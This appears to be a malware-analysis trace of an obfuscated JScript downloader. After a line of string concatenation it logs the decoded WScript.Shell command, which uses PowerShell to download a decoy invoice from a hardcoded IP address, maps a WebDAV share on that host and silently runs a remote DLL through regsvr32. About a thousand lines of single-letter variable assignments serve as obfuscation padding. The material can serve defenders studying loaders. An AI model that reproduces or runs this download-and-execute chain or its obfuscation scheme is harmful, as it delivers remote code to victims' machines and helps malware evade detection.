dpsmhm + vbnii + rljpcrf + itnymz + oxdsm + fnrtfwa + vegyoqhdg + vlzoiweta + fqioqwys + jaxzeexlq + jaxzeexlq + itnymz + hchvxlmv + vlzoiweta + lddkqv + wmukek + itnymz + lddkqv + wlawcea + oxdsm + jivlm + lddkqv + xyjzbvflm + xmhummowc + oxdsm + lddkqv + cwmypp + cwmypp + njcgn + bprpctthd + pnqtsjob + fnrtfwa + njcgn + resod + pnqtsjob + fnrtfwa + njcgn + fnrtfwa + uyojc + ifowjmf + alkmswz + dnpjclet + gioiiy + gioiiy + gioiiy + gioiiy + cwmypp + vlzoiweta + prabqlgy + dpsmhm + rodtxzwb + rodtxzwb + rodtxzwb + rbwwqw + vbnii + vbnii + jivlm + cwmypp + jaxzeexlq + jaxzeexlq + itnymz + hchvxlmv + vlzoiweta + lddkqv + wmukek + itnymz + lddkqv + rbwwqw + oxdsm + gygcskjep + xmhummowc + dpsmhm + rbwwqw + pnqtsjob + uyojc + lddkqv + wmukek + xmhummowc + lddkqv + cwmypp + cwmypp + njcgn + bprpctthd + pnqtsjob + fnrtfwa + njcgn + resod + pnqtsjob + fnrtfwa + njcgn + fnrtfwa + uyojc + ifowjmf + alkmswz + dnpjclet + gioiiy + gioiiy + gioiiy + gioiiy + cwmypp + vlzoiweta + prabqlgy + dpsmhm + rodtxzwb + rodtxzwb + rodtxzwb + rbwwqw + vbnii + vbnii + jivlm + cwmypp + alkmswz + sphyrkn + njcgn + sphyrkn + uyojc + xfmxk + ifowjmf + sphyrkn + sphyrkn + pnqtsjob + gioiiy + njcgn + bprpctthd + fnrtfwa + vlzoiweta + wwlyr + wwlyr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll",0,false) ➔ 0
14	}
15	mhplxpy = "A";
16	mhplxpy = "C";
17	njcgn = "H";
18	njcgn = "r";
19	njcgn = "N";
20	njcgn = "r";
21	njcgn = "R";
22	njcgn = "g";
23	njcgn = "i";
24	njcgn = "r";
25	njcgn = "j";
26	njcgn = "h";
27	njcgn = "f";
28	njcgn = "W";
29	njcgn = "G";
30	njcgn = "u";
31	njcgn = "i";
32	njcgn = "I";
33	njcgn = "p";
34	njcgn = "l";
35	njcgn = "w";
36	njcgn = "D";
37	njcgn = "y";
38	njcgn = "z";
39	njcgn = "A";
40	njcgn = "J";
41	njcgn = "w";
42	njcgn = "T";
43	njcgn = "I";
44	njcgn = "e";
45	njcgn = "w";
46	njcgn = "v";
47	njcgn = "q";
48	njcgn = "t";
49	njcgn = "S";
50	njcgn = "D";
51	njcgn = "h";
52	njcgn = "A";
53	njcgn = "K";
54	njcgn = "l";
55	njcgn = "n";
56	njcgn = "m";
57	njcgn = "H";
58	njcgn = "1";
59	plyts = "u";
60	plyts = "m";
61	plyts = "W";
62	plyts = "b";
63	plyts = "r";
64	plyts = "l";
65	plyts = "r";
66	plyts = "K";
67	plyts = "t";
68	plyts = "I";
69	plyts = "h";
70	plyts = "J";
71	plyts = "b";
72	dpsmhm = "N";
73	dpsmhm = "h";
74	dpsmhm = "M";
75	dpsmhm = "l";
76	dpsmhm = "A";
77	dpsmhm = "c";
78	dpsmhm = "g";
79	dpsmhm = "m";
80	dpsmhm = "J";
81	dpsmhm = "g";
82	dpsmhm = "J";
83	dpsmhm = "b";
84	dpsmhm = "J";
85	dpsmhm = "N";
86	dpsmhm = "K";
87	dpsmhm = "q";
88	dpsmhm = "D";
89	dpsmhm = "M";
90	dpsmhm = "A";
91	dpsmhm = "J";
92	dpsmhm = "x";
93	dpsmhm = "m";
94	dpsmhm = "d";
95	dpsmhm = "s";
96	dpsmhm = "N";
97	dpsmhm = "w";
98	dpsmhm = "W";
99	dpsmhm = "O";
100	dpsmhm = "x";
101	dpsmhm = "H";
102	dpsmhm = "e";
103	dpsmhm = "p";
104	dpsmhm = "Y";
105	dpsmhm = "C";
106	dpsmhm = "B";
107	dpsmhm = "B";
108	dpsmhm = "I";
109	dpsmhm = "E";
110	dpsmhm = "g";
111	dpsmhm = "v";
112	dpsmhm = "M";
113	dpsmhm = "u";
114	dpsmhm = "N";
115	dpsmhm = "b";
116	dpsmhm = "v";
117	cxjyomumi = "g";
118	cxjyomumi = "k";
119	cxjyomumi = "y";
120	cxjyomumi = "V";
121	cxjyomumi = "i";
122	cxjyomumi = "V";
123	cxjyomumi = "T";
124	cxjyomumi = "m";
125	cxjyomumi = "y";
126	cxjyomumi = "R";
127	cxjyomumi = "y";
128	cxjyomumi = "c";
129	cxjyomumi = "c";
130	cxjyomumi = "b";
131	cxjyomumi = "T";
132	cxjyomumi = "N";
133	cxjyomumi = "F";
134	cxjyomumi = "S";
135	cxjyomumi = "O";
136	wmukek = "a";
137	wmukek = "i";
138	wmukek = "C";
139	wmukek = "M";
140	wmukek = "v";
141	wmukek = "P";
142	wmukek = "d";
143	wmukek = "c";
144	wmukek = "d";
145	wmukek = "h";
146	wmukek = "M";
147	wmukek = "Y";
148	wmukek = "X";
149	wmukek = "t";
150	wmukek = "J";
151	wmukek = "W";
152	wmukek = "l";
153	wmukek = "V";
154	wmukek = "b";
155	wmukek = "N";
156	wmukek = "q";
157	wmukek = "o";
158	wmukek = "W";
159	wmukek = "Z";
160	wmukek = "T";
161	wmukek = "B";
162	wmukek = "K";
163	wmukek = "t";
164	wmukek = "X";
165	wmukek = "a";
166	wmukek = "/";
167	pnqtsjob = "M";
168	pnqtsjob = "F";
169	pnqtsjob = "P";
170	pnqtsjob = "h";
171	pnqtsjob = "G";
172	pnqtsjob = "y";
173	pnqtsjob = "l";
174	pnqtsjob = "d";
175	pnqtsjob = "D";
176	pnqtsjob = "N";
177	pnqtsjob = "W";
178	pnqtsjob = "A";
179	pnqtsjob = "h";
180	pnqtsjob = "C";
181	pnqtsjob = "D";
182	pnqtsjob = "X";
183	pnqtsjob = "a";
184	pnqtsjob = "x";
185	pnqtsjob = "c";
186	pnqtsjob = "Z";
187	pnqtsjob = "M";
188	pnqtsjob = "m";
189	pnqtsjob = "t";
190	pnqtsjob = "C";
191	pnqtsjob = "h";
192	pnqtsjob = "c";
193	pnqtsjob = "V";
194	pnqtsjob = "g";
195	pnqtsjob = "p";
196	pnqtsjob = "3";
197	rduba = "i";
198	rduba = "S";
199	enomkz = "S";
200	enomkz = "N";
201	enomkz = "o";
202	enomkz = "g";
203	enomkz = "R";
204	enomkz = "I";
205	enomkz = "G";
206	enomkz = "s";
207	enomkz = "z";
208	enomkz = "B";
209	enomkz = "b";
210	enomkz = "k";
211	enomkz = "b";
212	enomkz = "q";
213	enomkz = "J";
214	enomkz = "i";
215	enomkz = "t";
216	enomkz = "t";
217	enomkz = "M";
218	enomkz = "D";
219	enomkz = "Q";
220	enomkz = "h";
221	enomkz = "b";
222	enomkz = "M";
223	enomkz = "p";
224	enomkz = "f";
225	enomkz = "m";
226	enomkz = "e";
227	enomkz = "S";
228	enomkz = "B";
229	enomkz = "N";
230	enomkz = "A";
231	enomkz = "x";
232	enomkz = "c";
233	enomkz = "U";
234	enomkz = "T";
235	enomkz = "g";
236	enomkz = "j";
237	enomkz = "Y";
238	cwmypp = "\\";
239	ljbee = "q";
240	ljbee = "D";
241	ljbee = "n";
242	ljbee = "S";
243	ljbee = "W";
244	ljbee = "K";
245	ljbee = "n";
246	ljbee = "F";
247	ljbee = "k";
248	ljbee = "A";
249	ljbee = "E";
250	ljbee = "u";
251	ljbee = "R";
252	ljbee = "H";
253	tgutast = "b";
254	tgutast = "p";
255	tgutast = "P";
256	tgutast = "r";
257	tgutast = "G";
258	tgutast = "P";
259	tgutast = "R";
260	tgutast = "%";
261	hvjlp = "U";
262	hvjlp = "D";
263	hvjlp = "A";
264	hvjlp = "k";
265	hvjlp = "O";
266	hvjlp = "O";
267	hvjlp = "G";
268	hvjlp = "E";
269	hvjlp = "d";
270	hvjlp = "X";
271	hvjlp = ":";
272	dftpjso = "m";
273	dftpjso = "g";
274	dftpjso = "y";
275	dftpjso = "U";
276	dftpjso = "k";
277	dftpjso = "p";
278	dftpjso = "b";
279	dftpjso = "M";
280	dftpjso = "X";
281	dftpjso = "Q";
282	dftpjso = "F";
283	dftpjso = "Y";
284	dftpjso = "r";
285	dftpjso = "B";
286	dftpjso = "o";
287	dftpjso = "A";
288	dftpjso = "A";
289	dftpjso = "S";
290	dftpjso = "v";
291	dftpjso = "F";
292	dnpjclet = "v";
293	dnpjclet = "N";
294	dnpjclet = "n";
295	dnpjclet = "u";
296	dnpjclet = "x";
297	dnpjclet = "A";
298	dnpjclet = "X";
299	dnpjclet = "O";
300	dnpjclet = "W";
301	dnpjclet = "P";
302	dnpjclet = "z";
303	dnpjclet = "n";
304	dnpjclet = "i";
305	dnpjclet = "W";
306	dnpjclet = "l";
307	dnpjclet = "k";
308	dnpjclet = "u";
309	dnpjclet = "i";
310	dnpjclet = "t";
311	dnpjclet = "M";
312	dnpjclet = "m";
313	dnpjclet = "N";
314	dnpjclet = "F";
315	dnpjclet = "o";
316	dnpjclet = "a";
317	dnpjclet = "s";
318	dnpjclet = "L";
319	dnpjclet = "S";
320	dnpjclet = "G";
321	dnpjclet = "d";
322	dnpjclet = "z";
323	dnpjclet = "@";
324	iapprlt = "E";
325	iapprlt = "M";
326	iapprlt = "D";
327	iapprlt = "h";
328	iapprlt = "Z";
329	iapprlt = "c";
330	iapprlt = "s";
331	iapprlt = "L";
332	iapprlt = "p";
333	iapprlt = "S";
334	iapprlt = "p";
335	iapprlt = "D";
336	iapprlt = "S";
337	iapprlt = "v";
338	iapprlt = "V";
339	iapprlt = "g";
340	iapprlt = "h";
341	iapprlt = "w";
342	iapprlt = "K";
343	iapprlt = "a";
344	iapprlt = "k";
345	iapprlt = "q";
346	iapprlt = "Q";
347	iapprlt = "g";
348	iapprlt = "e";
349	iapprlt = "K";
350	iapprlt = "I";
351	iapprlt = "C";
352	iapprlt = "o";
353	iapprlt = "W";
354	iapprlt = "t";
355	iapprlt = "M";
356	iapprlt = "j";
357	itnymz = "b";
358	itnymz = "v";
359	itnymz = "o";
360	itnymz = "D";
361	itnymz = "f";
362	itnymz = "j";
363	itnymz = "Y";
364	itnymz = "c";
365	esmlhvn = "V";
366	esmlhvn = "V";
367	esmlhvn = "o";
368	esmlhvn = "u";
369	esmlhvn = "y";
370	esmlhvn = "T";
371	esmlhvn = "h";
372	esmlhvn = "W";
373	esmlhvn = "x";
374	esmlhvn = "P";
375	dwpfy = "T";
376	dwpfy = "j";
377	dwpfy = "B";
378	dwpfy = "I";
379	dwpfy = "p";
380	dwpfy = "j";
381	dwpfy = "D";
382	dwpfy = "L";
383	dwpfy = "V";
384	dwpfy = "p";
385	dwpfy = "R";
386	dwpfy = "j";
387	dwpfy = "E";
388	dwpfy = "V";
389	dwpfy = "r";
390	dwpfy = "s";
391	dwpfy = "S";
392	dwpfy = "J";
393	dwpfy = "V";
394	dwpfy = "f";
395	dwpfy = "J";
396	dwpfy = "x";
397	dwpfy = "h";
398	dwpfy = "E";
399	dwpfy = "k";
400	dwpfy = "I";
401	resod = "t";
402	resod = "B";
403	resod = "m";
404	resod = "z";
405	resod = "D";
406	resod = "P";
407	resod = "T";
408	resod = "L";
409	resod = "J";
410	resod = "X";
411	resod = "V";
412	resod = "a";
413	resod = "P";
414	resod = "K";
415	resod = "V";
416	resod = "J";
417	resod = "p";
418	resod = "E";
419	resod = "Q";
420	resod = "R";
421	resod = "n";
422	resod = "z";
423	resod = "L";
424	resod = "z";
425	resod = "b";
426	resod = "Q";
427	resod = "R";
428	resod = "z";
429	resod = "A";
430	resod = "4";
431	wwlyr = "G";
432	wwlyr = "i";
433	wwlyr = "I";
434	wwlyr = "D";
435	wwlyr = "P";
436	wwlyr = "h";
437	wwlyr = "l";
438	hchvxlmv = "F";
439	hchvxlmv = "U";
440	hchvxlmv = "m";
441	hchvxlmv = "U";
442	hchvxlmv = "Q";
443	hchvxlmv = "w";
444	hchvxlmv = "U";
445	hchvxlmv = "K";
446	hchvxlmv = "D";
447	hchvxlmv = "v";
448	hchvxlmv = "w";
449	hchvxlmv = "s";
450	hchvxlmv = "G";
451	hchvxlmv = "o";
452	hchvxlmv = "y";
453	hchvxlmv = "M";
454	hchvxlmv = "K";
455	hchvxlmv = "e";
456	hchvxlmv = "w";
457	hchvxlmv = "A";
458	hchvxlmv = "l";
459	hchvxlmv = "K";
460	hchvxlmv = "t";
461	hchvxlmv = "W";
462	hchvxlmv = "J";
463	hchvxlmv = "l";
464	hchvxlmv = "K";
465	hchvxlmv = "T";
466	hchvxlmv = "J";
467	hchvxlmv = "Z";
468	hchvxlmv = "T";
469	hchvxlmv = "v";
470	hchvxlmv = "m";
471	oxdsm = "O";
472	oxdsm = "n";
473	oxdsm = "Y";
474	oxdsm = "U";
475	oxdsm = "b";
476	oxdsm = "J";
477	oxdsm = "x";
478	oxdsm = "t";
479	oxdsm = "N";
480	oxdsm = "a";
481	oxdsm = "D";
482	oxdsm = "G";
483	oxdsm = "v";
484	oxdsm = "o";
485	oxdsm = "K";
486	oxdsm = "P";
487	oxdsm = "e";
488	obkhgade = "m";
489	obkhgade = "k";
490	obkhgade = "y";
491	obkhgade = "Z";
492	obkhgade = "U";
493	obkhgade = "o";
494	obkhgade = "X";
495	obkhgade = "E";
496	obkhgade = "J";
497	obkhgade = "k";
498	obkhgade = "F";
499	obkhgade = "h";
500	obkhgade = "h";
501	obkhgade = "d";
502	obkhgade = "J";
503	obkhgade = "Z";
504	obkhgade = "R";
505	obkhgade = "Y";
506	obkhgade = "I";
507	obkhgade = "L";
508	obkhgade = "Z";
509	obkhgade = "e";
510	obkhgade = "o";
511	obkhgade = "Q";
512	obkhgade = "W";
513	obkhgade = "F";
514	obkhgade = "W";
515	fpiuuix = "C";
516	fpiuuix = "H";
517	fpiuuix = "U";
518	fpiuuix = "m";
519	fpiuuix = "R";
520	fpiuuix = "q";
521	fpiuuix = "n";
522	fpiuuix = "r";
523	fpiuuix = "i";
524	fpiuuix = "j";
525	fpiuuix = "O";
526	fpiuuix = "L";
527	fpiuuix = "d";
528	fpiuuix = "f";
529	fpiuuix = "n";
530	fpiuuix = "I";
531	fpiuuix = "P";
532	fpiuuix = "u";
533	fpiuuix = "d";
534	fpiuuix = "u";
535	fpiuuix = "e";
536	fpiuuix = "F";
537	fpiuuix = "P";
538	fpiuuix = "h";
539	fpiuuix = "j";
540	fpiuuix = "r";
541	fpiuuix = "V";
542	fpiuuix = "c";
543	fpiuuix = "K";
544	fpiuuix = "q";
545	fpiuuix = "p";
546	fpiuuix = "P";
547	fpiuuix = "P";
548	fpiuuix = "E";
549	fpiuuix = "-";
550	rbwwqw = "x";
551	rbwwqw = "y";
552	rbwwqw = "L";
553	rbwwqw = "j";
554	rbwwqw = "m";
555	rbwwqw = "z";
556	rbwwqw = "k";
557	rbwwqw = "X";
558	rbwwqw = "q";
559	rbwwqw = "K";
560	rbwwqw = "q";
561	rbwwqw = "i";
562	rbwwqw = "K";
563	rbwwqw = "z";
564	rbwwqw = "H";
565	rbwwqw = "s";
566	rbwwqw = "o";
567	rbwwqw = "o";
568	rbwwqw = "j";
569	rbwwqw = "r";
570	rbwwqw = "U";
571	rbwwqw = "b";
572	rbwwqw = "q";
573	rbwwqw = "y";
574	rbwwqw = "G";
575	rbwwqw = "d";
576	rbwwqw = "l";
577	rbwwqw = "y";
578	rbwwqw = "E";
579	rbwwqw = "L";
580	rbwwqw = "X";
581	rbwwqw = "E";
582	rbwwqw = "D";
583	rbwwqw = "Y";
584	rbwwqw = "Z";
585	rbwwqw = "N";
586	rbwwqw = "p";
587	rbwwqw = "C";
588	rbwwqw = "w";
589	rbwwqw = "a";
590	rbwwqw = "r";
591	sphyrkn = "a";
592	sphyrkn = "u";
593	sphyrkn = "t";
594	sphyrkn = "f";
595	sphyrkn = "C";
596	sphyrkn = "h";
597	sphyrkn = "x";
598	sphyrkn = "i";
599	sphyrkn = "V";
600	sphyrkn = "B";
601	sphyrkn = "D";
602	sphyrkn = "s";
603	sphyrkn = "7";
604	lffeecla = "y";
605	lffeecla = "U";
606	lffeecla = "C";
607	lffeecla = "U";
608	lffeecla = "s";
609	lffeecla = "z";
610	lffeecla = "p";
611	lffeecla = "l";
612	lffeecla = "M";
613	lffeecla = "n";
614	lffeecla = "a";
615	lffeecla = "y";
616	lffeecla = "A";
617	lffeecla = "W";
618	lffeecla = "F";
619	lffeecla = "Q";
620	lffeecla = "S";
621	lffeecla = "U";
622	lffeecla = "b";
623	lffeecla = "d";
624	lffeecla = "Z";
625	lffeecla = "P";
626	lffeecla = "x";
627	qofvqiez = "E";
628	qofvqiez = "L";
629	qofvqiez = "m";
630	qofvqiez = "m";
631	qofvqiez = "F";
632	qofvqiez = "C";
633	qofvqiez = "z";
634	qofvqiez = "U";
635	qofvqiez = "E";
636	qofvqiez = "w";
637	qofvqiez = "u";
638	qofvqiez = "h";
639	qofvqiez = "m";
640	qofvqiez = "i";
641	qofvqiez = "D";
642	qofvqiez = "m";
643	qofvqiez = "Z";
644	qofvqiez = "G";
645	qofvqiez = "S";
646	qofvqiez = "R";
647	qofvqiez = "p";
648	qofvqiez = "O";
649	qofvqiez = "\"";
650	prabqlgy = "i";
651	prabqlgy = "q";
652	prabqlgy = "R";
653	prabqlgy = "x";
654	prabqlgy = "Z";
655	prabqlgy = "D";
656	prabqlgy = "e";
657	prabqlgy = "r";
658	prabqlgy = "V";
659	prabqlgy = "k";
660	prabqlgy = "q";
661	prabqlgy = "K";
662	prabqlgy = "A";
663	prabqlgy = "a";
664	prabqlgy = "n";
665	prabqlgy = "d";
666	prabqlgy = "q";
667	prabqlgy = "H";
668	prabqlgy = "M";
669	prabqlgy = "J";
670	prabqlgy = "s";
671	prabqlgy = "M";
672	prabqlgy = "u";
673	prabqlgy = "Y";
674	prabqlgy = "Y";
675	prabqlgy = "B";
676	prabqlgy = "g";
677	prabqlgy = "K";
678	prabqlgy = "Z";
679	prabqlgy = "m";
680	prabqlgy = "u";
681	prabqlgy = "H";
682	prabqlgy = "a";
683	xyjzbvflm = "F";
684	xyjzbvflm = "K";
685	xyjzbvflm = "K";
686	xyjzbvflm = "w";
687	xyjzbvflm = "A";
688	xyjzbvflm = "X";
689	xyjzbvflm = "I";
690	xyjzbvflm = "I";
691	xyjzbvflm = "A";
692	xyjzbvflm = "i";
693	xyjzbvflm = "f";
694	xyjzbvflm = "n";
695	xyjzbvflm = "w";
696	xyjzbvflm = "I";
697	xyjzbvflm = "K";
698	xyjzbvflm = "X";
699	xyjzbvflm = "g";
700	xyjzbvflm = "V";
701	xyjzbvflm = "X";
702	xyjzbvflm = "o";
703	xyjzbvflm = "y";
704	xyjzbvflm = "p";
705	xyjzbvflm = "A";
706	xyjzbvflm = "F";
707	xyjzbvflm = "u";
708	obrzdvwhg = "G";
709	obrzdvwhg = "U";
710	obrzdvwhg = "c";
711	obrzdvwhg = "B";
712	obrzdvwhg = "w";
713	obrzdvwhg = "q";
714	obrzdvwhg = "h";
715	obrzdvwhg = "p";
716	obrzdvwhg = "i";
717	obrzdvwhg = "v";
718	obrzdvwhg = "H";
719	obrzdvwhg = "E";
720	obrzdvwhg = "t";
721	obrzdvwhg = "D";
722	obrzdvwhg = "K";
723	obrzdvwhg = "u";
724	obrzdvwhg = "r";
725	obrzdvwhg = "a";
726	obrzdvwhg = "B";
727	obrzdvwhg = "m";
728	obrzdvwhg = "u";
729	obrzdvwhg = "w";
730	obrzdvwhg = "U";
731	obrzdvwhg = "s";
732	obrzdvwhg = "O";
733	obrzdvwhg = "O";
734	obrzdvwhg = "F";
735	obrzdvwhg = "y";
736	obrzdvwhg = "C";
737	obrzdvwhg = "q";
738	lddkqv = "P";
739	lddkqv = "F";
740	lddkqv = "a";
741	lddkqv = "T";
742	lddkqv = "e";
743	lddkqv = "A";
744	lddkqv = "h";
745	lddkqv = "p";
746	lddkqv = "k";
747	lddkqv = "s";
748	lddkqv = " ";
749	fqioqwys = "j";
750	fqioqwys = "e";
751	fqioqwys = "t";
752	fqioqwys = "Y";
753	fqioqwys = "a";
754	fqioqwys = "p";
755	fqioqwys = "B";
756	fqioqwys = "J";
757	fqioqwys = "w";
758	fqioqwys = "U";
759	fqioqwys = "h";
760	fqioqwys = "b";
761	fqioqwys = "F";
762	fqioqwys = "j";
763	fqioqwys = "r";
764	fqioqwys = "u";
765	fqioqwys = "S";
766	fqioqwys = "c";
767	fqioqwys = "v";
768	fqioqwys = "Q";
769	fqioqwys = "w";
770	fqioqwys = "D";
771	fqioqwys = "M";
772	fqioqwys = "U";
773	fqioqwys = "f";
774	fqioqwys = "C";
775	fqioqwys = "f";
776	fqioqwys = "s";
777	fqioqwys = "M";
778	fqioqwys = "r";
779	fqioqwys = "a";
780	fqioqwys = "Q";
781	fqioqwys = "h";
782	fqioqwys = "B";
783	fqioqwys = "q";
784	fqioqwys = "a";
785	fqioqwys = "q";
786	fqioqwys = "c";
787	fqioqwys = "f";
788	wwyhnbwzh = "d";
789	wwyhnbwzh = "n";
790	wwyhnbwzh = "l";
791	wwyhnbwzh = "L";
792	wwyhnbwzh = "p";
793	wwyhnbwzh = "r";
794	wwyhnbwzh = "S";
795	wwyhnbwzh = "o";
796	wwyhnbwzh = "g";
797	wwyhnbwzh = "F";
798	wwyhnbwzh = "P";
799	wwyhnbwzh = "P";
800	wwyhnbwzh = "G";
801	wwyhnbwzh = "d";
802	wwyhnbwzh = "k";
803	wwyhnbwzh = "o";
804	wwyhnbwzh = "I";
805	wwyhnbwzh = "X";
806	wwyhnbwzh = "q";
807	wwyhnbwzh = "c";
808	wwyhnbwzh = "p";
809	wwyhnbwzh = "I";
810	wwyhnbwzh = "k";
811	wwyhnbwzh = "j";
812	wwyhnbwzh = "p";
813	wwyhnbwzh = "N";
814	wwyhnbwzh = "C";
815	wwyhnbwzh = "E";
816	wwyhnbwzh = "y";
817	wwyhnbwzh = "P";
818	wwyhnbwzh = "Z";
819	wwyhnbwzh = "S";
820	wwyhnbwzh = "l";
821	wwyhnbwzh = "B";
822	wwyhnbwzh = "y";
823	wwyhnbwzh = "E";
824	wwyhnbwzh = "N";
825	wwyhnbwzh = "y";
826	wwyhnbwzh = "v";
827	wwyhnbwzh = "F";
828	wwyhnbwzh = "Z";
829	wwyhnbwzh = "Q";
830	wwyhnbwzh = "h";
831	zymfkisxu = "G";
832	zymfkisxu = "g";
833	zymfkisxu = "P";
834	zymfkisxu = "T";
835	zymfkisxu = "O";
836	zymfkisxu = "K";
837	zymfkisxu = "E";
838	zymfkisxu = "D";
839	zymfkisxu = "u";
840	zymfkisxu = "a";
841	zymfkisxu = "j";
842	zymfkisxu = "d";
843	zymfkisxu = "k";
844	zymfkisxu = "f";
845	zymfkisxu = "v";
846	zymfkisxu = "m";
847	zymfkisxu = "l";
848	zymfkisxu = "b";
849	zymfkisxu = "d";
850	zymfkisxu = "Y";
851	zymfkisxu = "K";
852	vlzoiweta = "b";
853	vlzoiweta = "E";
854	vlzoiweta = "H";
855	vlzoiweta = "G";
856	vlzoiweta = "p";
857	vlzoiweta = "k";
858	vlzoiweta = "Y";
859	vlzoiweta = "d";
860	jivlm = "I";
861	jivlm = "j";
862	jivlm = "t";
863	gygcskjep = "N";
864	gygcskjep = "g";
865	unmucxi = "J";
866	unmucxi = "R";
867	unmucxi = "M";
868	unmucxi = "O";
869	unmucxi = "W";
870	unmucxi = "C";
871	unmucxi = "w";
872	unmucxi = "A";
873	unmucxi = "v";
874	unmucxi = "y";
875	unmucxi = "e";
876	unmucxi = "a";
877	unmucxi = "Q";
878	unmucxi = "y";
879	unmucxi = "G";
880	unmucxi = "M";
881	unmucxi = "U";
882	unmucxi = "Z";
883	unmucxi = "O";
884	unmucxi = "V";
885	unmucxi = "D";
886	unmucxi = "U";
887	unmucxi = "P";
888	unmucxi = "w";
889	unmucxi = "a";
890	unmucxi = "a";
891	unmucxi = "x";
892	unmucxi = "R";
893	unmucxi = "J";
894	unmucxi = "T";
895	unmucxi = "M";
896	unmucxi = "f";
897	unmucxi = "a";
898	unmucxi = "H";
899	unmucxi = "n";
900	unmucxi = "h";
901	unmucxi = "I";
902	unmucxi = "Q";
903	bprpctthd = "9";
904	uyojc = "M";
905	uyojc = "Y";
906	uyojc = "n";
907	uyojc = "W";
908	uyojc = "C";
909	uyojc = "C";
910	uyojc = "f";
911	uyojc = "J";
912	uyojc = "c";
913	uyojc = "2";
914	zdibxkx = "o";
915	zdibxkx = "m";
916	zdibxkx = "l";
917	zdibxkx = "b";
918	zdibxkx = "L";
919	zdibxkx = "K";
920	zdibxkx = "C";
921	zdibxkx = "V";
922	zdibxkx = "Q";
923	zdibxkx = "h";
924	zdibxkx = "Z";
925	zdibxkx = "M";
926	zdibxkx = "i";
927	zdibxkx = "b";
928	zdibxkx = "R";
929	zdibxkx = "T";
930	tkrhzb = "r";
931	tkrhzb = "C";
932	tkrhzb = "E";
933	tkrhzb = "P";
934	tkrhzb = "u";
935	tkrhzb = "a";
936	tkrhzb = "v";
937	tkrhzb = "u";
938	tkrhzb = "f";
939	tkrhzb = "I";
940	tkrhzb = "I";
941	tkrhzb = "f";
942	tkrhzb = "p";
943	tkrhzb = "W";
944	tkrhzb = "c";
945	tkrhzb = "H";
946	tkrhzb = "e";
947	tkrhzb = "C";
948	tkrhzb = "b";
949	tkrhzb = "W";
950	tkrhzb = "V";
951	tkrhzb = "J";
952	tkrhzb = "Z";
953	tkrhzb = "u";
954	tkrhzb = "v";
955	tkrhzb = "K";
956	tkrhzb = "K";
957	tkrhzb = "g";
958	tkrhzb = "x";
959	tkrhzb = "E";
960	lugukwhki = "z";
961	lugukwhki = "d";
962	lugukwhki = "Y";
963	lugukwhki = "s";
964	lugukwhki = "J";
965	lugukwhki = "U";
966	lugukwhki = "Z";
967	lugukwhki = "d";
968	lugukwhki = "N";
969	lugukwhki = "v";
970	lugukwhki = "c";
971	lugukwhki = "A";
972	lugukwhki = "z";
973	lugukwhki = "s";
974	lugukwhki = "J";
975	lugukwhki = "M";
976	lugukwhki = "O";
977	lugukwhki = "E";
978	lugukwhki = "o";
979	lugukwhki = "c";
980	lugukwhki = "i";
981	lugukwhki = "E";
982	lugukwhki = "m";
983	lugukwhki = "A";
984	lugukwhki = "U";
985	lugukwhki = "V";
986	lugukwhki = "i";
987	lugukwhki = "p";
988	lugukwhki = "h";
989	lugukwhki = "V";
990	lugukwhki = "w";
991	lugukwhki = "R";
992	mnqpruwrm = "z";
993	mnqpruwrm = "S";
994	mnqpruwrm = "R";
995	mnqpruwrm = "V";
996	mnqpruwrm = "d";
997	mnqpruwrm = "s";
998	mnqpruwrm = "J";
999	mnqpruwrm = "n";
1000	mnqpruwrm = "G";
1001	mnqpruwrm = "H";
1002	mnqpruwrm = "q";
1003	mnqpruwrm = "k";
1004	mnqpruwrm = "r";
1005	mnqpruwrm = "m";
1006	mnqpruwrm = "Z";
1007	mnqpruwrm = "v";
1008	mnqpruwrm = "L";
1009	mnqpruwrm = "f";
1010	mnqpruwrm = "N";
1011	mnqpruwrm = "t";
1012	mnqpruwrm = "Y";
1013	mnqpruwrm = "o";
1014	mnqpruwrm = "q";
1015	mnqpruwrm = "Q";
1016	mnqpruwrm = "f";
1017	mnqpruwrm = "z";
1018	mnqpruwrm = "x";
1019	mnqpruwrm = "v";
1020	mnqpruwrm = "J";
1021	mnqpruwrm = "t";
1022	mnqpruwrm = "t";
1023	mnqpruwrm = "j";
1024	mnqpruwrm = "M";
1025	mnqpruwrm = "F";
1026	mnqpruwrm = "_";
1027	dzszjbkp = "M";
1028	dzszjbkp = "e";
1029	dzszjbkp = "h";
1030	dzszjbkp = "c";
1031	dzszjbkp = "M";
1032	dzszjbkp = "s";
1033	dzszjbkp = "r";
1034	dzszjbkp = "F";
1035	dzszjbkp = "h";
1036	dzszjbkp = "g";
1037	dzszjbkp = "U";
1038	dzszjbkp = "A";
1039	dzszjbkp = "t";
1040	dzszjbkp = "J";
1041	dzszjbkp = "D";
1042	dzszjbkp = "g";
1043	dzszjbkp = "N";
1044	dzszjbkp = "O";
1045	dzszjbkp = "d";
1046	dzszjbkp = "n";
1047	dzszjbkp = "G";
1048	dzszjbkp = "h";
1049	dzszjbkp = "H";
1050	dzszjbkp = "Y";
1051	dzszjbkp = "a";
1052	dzszjbkp = "M";
1053	dzszjbkp = "n";
1054	dzszjbkp = "t";
1055	dzszjbkp = "t";
1056	dzszjbkp = "s";
1057	dzszjbkp = "q";
1058	dzszjbkp = "H";
1059	dzszjbkp = "x";
1060	dzszjbkp = "v";
1061	dzszjbkp = "c";
1062	dzszjbkp = "m";
1063	dzszjbkp = "k";
1064	rljpcrf = "q";
1065	rljpcrf = "P";
1066	rljpcrf = "o";
1067	rljpcrf = "Z";
1068	rljpcrf = "a";
1069	rljpcrf = "G";
1070	rljpcrf = "C";
1071	rljpcrf = "r";
1072	rljpcrf = "v";
1073	rljpcrf = "B";
1074	rljpcrf = "R";
1075	rljpcrf = "P";
1076	rljpcrf = "d";
1077	rljpcrf = "X";
1078	rljpcrf = "I";
1079	rljpcrf = "d";
1080	rljpcrf = "v";
1081	rljpcrf = "r";
1082	rljpcrf = "T";
1083	rljpcrf = "h";
1084	rljpcrf = "C";
1085	rljpcrf = "B";
1086	rljpcrf = "p";
1087	rljpcrf = "o";
1088	rljpcrf = "z";
1089	rljpcrf = "I";
1090	rljpcrf = "F";
1091	rljpcrf = "a";
1092	rljpcrf = "I";
1093	rljpcrf = "p";
1094	rljpcrf = "R";
